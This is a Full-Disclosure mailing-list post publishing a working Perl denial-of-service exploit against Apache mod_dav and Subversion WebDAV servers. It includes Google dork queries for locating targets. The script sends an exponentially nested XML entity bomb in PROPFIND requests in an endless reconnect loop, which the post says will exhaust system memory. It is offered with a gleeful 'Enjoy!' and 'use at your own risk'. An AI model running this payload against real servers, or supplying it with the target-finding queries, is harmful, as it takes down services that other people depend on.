[Full-disclosure] The father of all bombs - another webdav fiasco

[Kingcope <kcope2@xxxxxxxxxxxxxx>]

Apache mod_dav / svn Remote Denial of Service Exploit

Google Dorks:
inurl:svn inurl:trunk
"powered by subversion version"

Information on the bug (XML Bomb):
http://blog.didierstevens.com/2008/09/23/dismantling-an-xml-bomb/

Enjoy!

-------------------------------------------------------------------
###apache-ied.pl
### Apache mod_dav / svn Remote Denial of Service Exploit
### by kcope / June 2009
###
### Will exhaust all system memory
### Needs Authentication on normal DAV
###
### This can be especially serious stuff when used against
### svn (subversion) servers!! Svn might let the PROPFIND slip through
### without authentication. bwhahaaha :o)
### use at your own risk!
##################################################################

use IO::Socket;
use MIME::Base64;

sub usage {
        print "Apache mod_dav / svn Remote Denial of Service Exploit\n";
        print "by kcope in 2009\n";
        print "usage: perl apache-ied.pl <remotehost> <webdav folder>
[username] [password]\n";
        print "example: perl apache-ied.pl svn.XXX.com /projects/\n";exit;
}

if ($#ARGV < 1) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];

$username = $ARGV[2];
$password = $ARGV[3];

$|=1;

$BasicAuth = encode_base64("$username:$password");
chomp $BasicAuth;

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => 80,
                              Proto    => 'tcp');
print $sock "PROPFIND $webdavfile HTTP/1.1\r\n";
print $sock "Host: $hostname\r\n";
print $sock "Depth: 0\r\n";
print $sock "Connection: close\r\n";
if ($username ne "") {
print $sock "Authorization: Basic $BasicAuth\r\n";      
}
print $sock "\r\n";
$x = <$sock>;   

print $x;
if (!($x =~ /207/)) {
while(<$sock>) {
        print;  
}
close($sock);
 print "No PROPFIND on this server and path.\n";
 exit(0);       
}

$a = "";
for ($i=1;$i<256;$i++) {                # Here you can increase the XML bomb 
count
        $k = $i-1;
        $a .= "<!ENTITY x$i \"&x$k;&x$k;\">\n"
}

$igzml =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ELEMENT REMOTE ANY>\n"
."<!ENTITY x0 \"b4bew1thb1gb00bs\">\n"
.$a
."]>\n"
."<REMOTE>\n"
."&x$k;\n"
."</REMOTE>\n";

print "Apache mod_dav / svn Remote Denial of Service Exploit\n";
print "by kcope in 2009\n";
print "Launching DoS Attack...\n";

$ExploitRequest =
 "PROPFIND $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n"
."Depth: 0\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";       
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length:
".length($igzml)."\r\n\r\n" . $igzml;

while(1) {
again:
my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => 80,
                              Proto    => 'tcp') || (goto again);

print $sock $ExploitRequest;
print ";Pp";
}

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